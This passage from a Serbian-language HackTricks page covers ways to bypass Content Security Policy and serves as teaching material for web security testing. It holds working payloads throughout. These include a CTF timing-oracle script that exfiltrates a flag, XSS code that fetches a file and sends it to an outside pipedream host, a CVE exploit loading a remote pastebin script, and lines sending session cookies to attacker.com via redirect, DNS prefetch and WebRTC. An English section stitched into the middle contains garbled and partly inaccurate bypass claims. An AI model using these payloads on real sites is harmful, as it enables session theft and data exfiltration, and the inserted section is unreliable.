Ovog puta će se **flag** izvući, svaki put kada se **karakter tačno pogodi** putem SQLi, **odgovor** traje **duže vreme** zbog sleep funkcije. Tada ćete moći izvući flag:
```html
<!--code from https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle -->
<iframe name=f id=g></iframe> // The bot will load an URL with the payload
<script>
let host = "http://x-oracle-v1.nn9ed.ka0labs.org";
function gen(x) {
x = escape(x.replace(/_/g, '\\_'));
return `${host}/admin/search/x'union%20select(1)from%20challenge%20where%20flag%20like%20'${x}%25'and%201=sleep(0.1)%23`;
}

function gen2(x) {
x = escape(x);
return `${host}/admin/search/x'union%20select(1)from%20challenge%20where%20flag='${x}'and%201=sleep(0.1)%23`;
}

async function query(word, end=false) {
let h = performance.now();
f.location = (end ? gen2(word) : gen(word));
await new Promise(r => {
g.onload = r;
});
let diff = performance.now() - h;
return diff > 300;
}

let alphabet = '_abcdefghijklmnopqrstuvwxyz0123456789'.split('');
let postfix = '}'

async function run() {
let prefix = 'nn9ed{';
while (true) {
let i = 0;
for (i;i<alphabet.length;i++) {
let c = alphabet[i];
let t =  await query(prefix+c); // Check what chars returns TRUE or FALSE
console.log(prefix, c, t);
if (t) {
console.log('FOUND!')
prefix += c;
break;
}
}
if (i==alphabet.length) {
console.log('missing chars');
break;
}
let t = await query(prefix+'}', true);
if (t) {
prefix += '}';
break;
}
}
new Image().src = 'http://PLAYER_SERVER/?' + prefix; //Exfiltrate the flag
console.log(prefix);
}

run();
</script>
```
### Putem Bookmarkleta

Ovaj napad bi implicirao neko oblik društvenog inženjeringa gde napadač **ubeđuje korisnika da prevuče i ispusti link preko bookmarkleta pretraživača**. Ovaj bookmarklet bi sadržao **zlonamerni JavaScript** kod koji bi se izvršio kada bi bio prevučen i ispusten ili kliknut u kontekstu trenutnog prozora veb stranice, **zaobilazeći CSP i omogućavajući krađu osetljivih informacija** kao što su kolačići ili tokeni.

Za više informacija [**proverite originalni izveštaj ovde**](https://socradar.io/csp-bypass-unveiled-the-hidden-threat-of-bookmarklets/).

### Zaobilazak CSP-a ograničavanjem CSP-a

U [**ovom CTF izveštaju**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution), CSP je zaobiđen ubacivanjem unutar dozvoljenog iframe-a strožiji CSP koji nije dozvoljavao učitavanje određene JS datoteke koja je zatim, putem **zagađenja prototipa** ili **dom clobbering-a**, omogućila **zloupotrebu drugačijeg skripta za učitavanje proizvoljnog skripta**.

Možete **ograničiti CSP Iframe-a** pomoću atributa **`csp`**:

{% code overflow="wrap" %}
```html
<iframe src="https://biohazard-web.2023.ctfcompetition.com/view/[bio_id]" csp="script-src https://biohazard-web.2023.ctfcompetition.com/static/closure-library/ https://biohazard-web.2023.ctfcompetition.com/static/sanitizer.js https://biohazard-web.2023.ctfcompetition.com/static/main.js 'unsafe-inline' 'unsafe-eval'"></iframe>
```
{% endcode %}

U [**ovom CTF zapisu**](https://github.com/aszx87410/ctf-writeups/issues/48), bilo je moguće putem **HTML ubacivanja** da se **ograniči** više **CSP** tako da je skripta koja sprečava CSTI bila onemogućena i stoga je **ranjivost postala iskoristiva.**\
CSP može postati stroži korišćenjem **HTML meta tagova** i inline skripte mogu biti onemogućene **uklanjanjem** **unosa** koji omogućava njihov **nonce** i **omogućavanje određene inline skripte putem sha**:
```html
<meta http-equiv="Content-Security-Policy" content="script-src 'self'
'unsafe-eval' 'strict-dynamic'
'sha256-whKF34SmFOTPK4jfYDy03Ea8zOwJvqmz%2boz%2bCtD7RE4='
'sha256-Tz/iYFTnNe0de6izIdG%2bo6Xitl18uZfQWapSbxHE6Ic=';">
```
### JS ekstrakcija pomoću Content-Security-Policy-Report-Only

Ako uspete da naterate server da odgovori sa zaglavljem **`Content-Security-Policy-Report-Only`** sa **vrednošću kojom upravljate vi** (možda zbog CRLF-a), možete ga naterati da upućuje ka vašem serveru i ako **obavijete** **JS sadržaj** koji želite da ekstraktujete sa **`<script>`** i jer je veoma verovatno da `unsafe-inline` nije dozvoljen od strane CSP-a, ovo će **pokrenuti CSP grešku** i deo skripte (koji sadrži osetljive informacije) će biti poslat na server sa `Content-Security-Policy-Report-Only`.

Za primer [**proverite ovaj CTF writeup**](https://github.com/maple3142/My-CTF-Challenges/tree/master/TSJ%20CTF%202022/Nim%20Notes).

### [CVE-2020-6519](https://www.perimeterx.com/tech-blog/2020/csp-bypass-vuln-disclosure/)
```javascript
document.querySelector('DIV').innerHTML="<iframe src='javascript:var s = document.createElement(\"script\");s.src = \"https://pastebin.com/raw/dw5cWGK6\";document.body.appendChild(s);'></iframe>";
```
### Otkrivanje informacija pomoću CSP i Iframe-a

* Kreira se `iframe` koji pokazuje ka URL-u (nazovimo ga `https://example.redirect.com`) koji je dozvoljen od strane CSP-a.
* Taj URL zatim preusmerava ka tajnom URL-u (npr. `https://usersecret.example2.com`) koji **nije dozvoljen** od strane CSP-a.
* Slušanjem događaja `securitypolicyviolation`, moguće je uhvatiti svojstvo `blockedURI`. Ovo svojstvo otkriva domen blokiranog URI-ja, otkrivajući tajni domen ka kojem je prvobitni URL preusmeren.

Zanimljivo je napomenuti da pregledači poput Chrome-a i Firefox-a imaju različito ponašanje u rukovanju iframe-ovima u vezi sa CSP-om, što može dovesti do potencijalnog otkrivanja osetljivih informacija zbog nedefinisanog ponašanja.

Druga tehnika uključuje iskorišćavanje samog CSP-a kako bi se zaključio tajni poddomen. Ova metoda se oslanja na binarni pretraga algoritam i prilagođavanje CSP-a kako bi uključio određene domene koje su namerno blokirane. Na primer, ako je tajni poddomen sastavljen od nepoznatih karaktera, možete iterativno testirati različite poddomene modifikujući CSP direktivu da blokira ili dozvoljava ove poddomene. Evo isečka koji prikazuje kako bi CSP mogao biti podešen da olakša ovu metodu:
```markdown
img-src https://chall.secdriven.dev https://doc-1-3213.secdrivencontent.dev https://doc-2-3213.secdrivencontent.dev ... https://doc-17-3213.secdriven.dev
```
Prateći koje zahteve blokira ili dozvoljava CSP, moguće je suziti moguće karaktere u tajnom poddomenu, otkrivajući konačno kompletan URL.

Oba metoda iskorišćavaju nijanse implementacije i ponašanja CSP-a u pregledačima, pokazujući kako se naizgled sigurne politike mogu nenamerno otkriti osetljive informacije.

Triks sa [**ovde**](https://ctftime.org/writeup/29310).

<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>

Pridružite se [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) serveru kako biste komunicirali sa iskusnim hakerima i lovcima na bagove!

**Hakerski uvidi**\
Uključite se u sadržaj koji istražuje uzbuđenje i izazove hakovanja

**Vesti o hakovanju u realnom vremenu**\
Budite u toku sa dinamičnim svetom hakovanja putem vesti i uvida u realnom vremenu

**Najnovije najave**\
Budite informisani o najnovijim nagradama za pronalaženje bagova i važnim ažuriranjima platformi

**Pridružite nam se na** [**Discord**](https://discord.com/invite/N3FrSbmwdy) i počnite da sarađujete sa vrhunskim hakerima danas!

## Nesigurne tehnologije za zaobilaženje CSP-a

### PHP greške kada ima previše parametara

Prema [**poslednjoj tehnici komentarisanoj u ovom videu**](https://www.youtube.com/watch?v=Sm4G6cAHjWM), slanje previše parametara (1001 GET parametar, mada to možete uraditi i sa POST parametrima i više od 20 fajlova). Bilo koja definisana **`header()`** u PHP web kodu **neće biti poslata** zbog greške koju će ovo izazvati.

### Preopterećenje bafera odgovora u PHP-u

PHP je poznat po **baferovanju odgovora do 4096** bajtova po podrazumevanim podešavanjima. Stoga, ako PHP prikaže upozorenje, pružanjem **dovoljno podataka unutar upozorenja**, **odgovor** će biti **poslat** **pre** **CSP zaglavlja**, što dovodi do ignorisanja zaglavlja.\
Zatim, tehnika se uglavnom sastoji u **popunjavanju bafera odgovora upozorenjima** kako CSP zaglavlje ne bi bilo poslato.

Ideja sa [**ovog writeupa**](https://hackmd.io/@terjanq/justCTF2020-writeups#Baby-CSP-web-6-solves-406-points).

### Prepravljanje stranice greške

Iz [**ovog writeupa**](https://blog.ssrf.kr/69) izgleda da je bilo moguće zaobići CSP zaštitu učitavanjem stranice greške (potencijalno bez CSP-a) i prepravljanjem njenog sadržaja.
```javascript
a = window.open('/' + 'x'.repeat(4100));
setTimeout(function() {
a.document.body.innerHTML = `<img src=x onerror="fetch('https://filesharing.m0lec.one/upload/ffffffffffffffffffffffffffffffff').then(x=>x.text()).then(x=>fetch('https://enllwt2ugqrt.x.pipedream.net/'+x))">`;
}, 1000);
```
### SOME + 'self' + wordpress

SOME je tehnika koja zloupotrebljava XSS (ili veoma ograničen XSS) **na kraju stranice** da bi **zloupotrebila** **druge krajnje tačke istog porekla.** Ovo se postiže učitavanjem ranjive krajnje tačke sa stranice napadača, a zatim osvežavanjem stranice napadača do prave krajnje tačke u istom poreklu koju želite zloupotrebiti. Na ovaj način **ranjiva krajnja tačka** može koristiti objekat **`opener`** u **payload-u** da bi **pristupila DOM-u** **prave krajnje tačke koju želite zloupotrebiti.** Za više informacija pogledajte:

{% content-ref url="../xss-cross-site-scripting/some-same-origin-method-execution.md" %}
[some-same-origin-method-execution.md](../xss-cross-site-scripting/some-same-origin-method-execution.md)
{% endcontent-ref %}

Štaviše, **wordpress** ima **JSONP** krajnju tačku u `/wp-json/wp/v2/users/1?_jsonp=data` koja će **reflektovati** **podatke** poslate u izlazu (sa ograničenjem samo slova, brojeva i tačaka).

Napadač može zloupotrebiti tu krajnju tačku da bi **generisao SOME napad** na WordPress i **ugradio** ga unutar `<script s`rc=`/wp-json/wp/v2/users/1?_jsonp=some_attack></script>` obratite pažnju da će se ovaj **skript** **učitati** jer je **dozvoljen od strane 'self'**. Štaviše, i zato što je WordPress instaliran, napadač može zloupotrebiti **SOME napad** putem **ranjive** **callback** krajnje tačke koja **zaobilazi CSP** da bi dao više privilegija korisniku, instalirao novi dodatak...\
Za više informacija o tome kako izvesti ovaj napad pogledajte [https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/](https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/)

## Bypass-ovi CSP eksfiltracije

Ako postoji strogi CSP koji vam ne dozvoljava da **interaktujete sa eksternim serverima**, postoje neke stvari koje uvek možete uraditi da eksfiltrirate informacije.

### Lokacija

Jednostavno možete ažurirati lokaciju da pošaljete tajne informacije napadačkom serveru:
```javascript
var sessionid = document.cookie.split('=')[1]+".";
document.location = "https://attacker.com/?" + sessionid;
```
### Meta tag

Možete preusmeriti ubacivanjem meta oznake (ovo je samo preusmeravanje, neće procuriti sadržaj)
```html
<meta http-equiv="refresh" content="1; http://attacker.com">
```
### DNS Prefetch

Da biste učitali stranice brže, pretraživači će unapred rešavati imena domaćina u IP adrese i keširati ih za kasniju upotrebu.\
Možete naznačiti pretraživaču da unapred rešava ime domaćina sa: `<link rel="dns-prefetch" href="something.com">`

Možete zloupotrebiti ovaj postupak da biste **eksfiltrirali osetljive informacije putem DNS zahteva**:
```javascript
var sessionid = document.cookie.split('=')[1]+".";
var body = document.getElementsByTagName('body')[0];
body.innerHTML = body.innerHTML + "<link rel=\"dns-prefetch\" href=\"//" + sessionid + "attacker.ch\">";
```
## Bypassing Content Security Policy (CSP)

---

### Bypassing CSP using `unsafe-inline`

When a website's CSP allows `'unsafe-inline'` for the `script-src` directive, it is possible to execute inline JavaScript code. This can be exploited by injecting malicious scripts directly into HTML elements such as `<img>`, `<video>`, `<audio>`, `<iframe>`, `<object>`, `<embed>`, `<applet>`, and `<base>`.

### Bypassing CSP using Data URI

If a CSP allows data URI scheme (`data:`) for the `script-src` directive, an attacker can bypass the CSP by encoding the malicious script into a data URI format and injecting it into the vulnerable website.

### Bypassing CSP using `nonce` Attribute

By using the `nonce` attribute in the CSP header along with a dynamically generated nonce value, it is possible to bypass CSP restrictions and execute inline scripts. The `nonce` value needs to be included in the script tag of the payload.

### Bypassing CSP using `hash` Attribute

When a CSP allows the `hash` attribute for the `script-src` directive, an attacker can bypass CSP restrictions by calculating the hash of the malicious script and including it in the CSP header. This allows the script to execute despite the CSP rules.

### Bypassing CSP using WebSockets

If a website allows WebSockets connections to domains that are not specified in the CSP, an attacker can establish a WebSocket connection to a malicious server and receive commands to execute arbitrary code on the vulnerable website.

### Bypassing CSP using XSS

Cross-Site Scripting (XSS) vulnerabilities can also be used to bypass CSP restrictions. By exploiting an XSS vulnerability on a website, an attacker can inject and execute malicious scripts despite the CSP rules in place.
```javascript
const linkEl = document.createElement('link');
linkEl.rel = 'prefetch';
linkEl.href = urlWithYourPreciousData;
document.head.appendChild(linkEl);
```
Da biste izbegli da se ovo desi, server može poslati HTTP zaglavlje:
```
X-DNS-Prefetch-Control: off
```
{% hint style="info" %}
Očigledno, ova tehnika ne funkcioniše u headless pregledačima (botovima)
{% endhint %}

### WebRTC

Na nekoliko stranica možete pročitati da **WebRTC ne proverava `connect-src` politiku** CSP-a.

Zapravo, možete _procureti_ informacije koristeći _DNS zahtev_. Pogledajte ovaj kod:
```javascript
(async()=>{p=new RTCPeerConnection({iceServers:[{urls: "stun:LEAK.dnsbin"}]});p.createDataChannel('');p.setLocalDescription(await p.createOffer())})()
```
Druga opcija:
```javascript
var pc = new RTCPeerConnection({
"iceServers":[
{"urls":[
"turn:74.125.140.127:19305?transport=udp"
],"username":"_all_your_data_belongs_to_us",
"credential":"."
}]
});
pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp);
```
## Provera CSP politika online

* [https://csp-evaluator.withgoogle.com/](https://csp-evaluator.withgoogle.com)
* [https://cspvalidator.org/](https://cspvalidator.org/#url=https://cspvalidator.org/)

## Automatsko kreiranje CSP

[https://csper.io/docs/generating-content-security-policy](https://csper.io/docs/generating-content-security-policy)

## Reference

* [https://hackdefense.com/publications/csp-the-how-and-why-of-a-content-security-policy/](https://hackdefense.com/publications/csp-the-how-and-why-of-a-content-security-policy/)
* [https://lcamtuf.coredump.cx/postxss/](https://lcamtuf.coredump.cx/postxss/)
* [https://bhavesh-thakur.medium.com/content-security-policy-csp-bypass-techniques-e3fa475bfe5d](https://bhavesh-thakur.medium.com/content-security-policy-csp-bypass-techniques-e3fa475bfe5d)
* [https://0xn3va.gitbook.io/cheat-sheets/web-application/content-security-policy#allowed-data-scheme](https://0xn3va.gitbook.io/cheat-sheets/web-application/content-security-policy#allowed-data-scheme)
* [https://www.youtube.com/watch?v=MCyPuOWs3dg](https://www.youtube.com/watch?v=MCyPuOWs3dg)
* [https://aszx87410.github.io/beyond-xss/en/ch2/csp-bypass/](https://aszx87410.github.io/beyond-xss/en/ch2/csp-bypass/)
* [https://lab.wallarm.com/how-to-trick-csp-in-letting-you-run-whatever-you-want-73cb5ff428aa/](https://lab.wallarm.com/how-to-trick-csp-in-letting-you-run-whatever-you-want-73cb5ff428aa/)

​

<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>

Pridružite se [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) serveru kako biste komunicirali sa iskusnim hakerima i lovcima na bagove!

**Hakerski uvidi**\
Uključite se u sadržaj koji istražuje uzbuđenje i izazove hakovanja

**Vesti o hakovanju u realnom vremenu**\
Budite u toku sa brzim svetom hakovanja kroz vesti i uvide u realnom vremenu

**Najnovije najave**\
Budite informisani o najnovijim nagradama za pronalaženje bagova i važnim ažuriranjima platforme

**Pridružite nam se na** [**Discord-u**](https://discord.com/invite/N3FrSbmwdy) i počnite da sarađujete sa vrhunskim hakerima danas!

<details>

<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>

Drugi načini podrške HackTricks-u:

* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.

</details>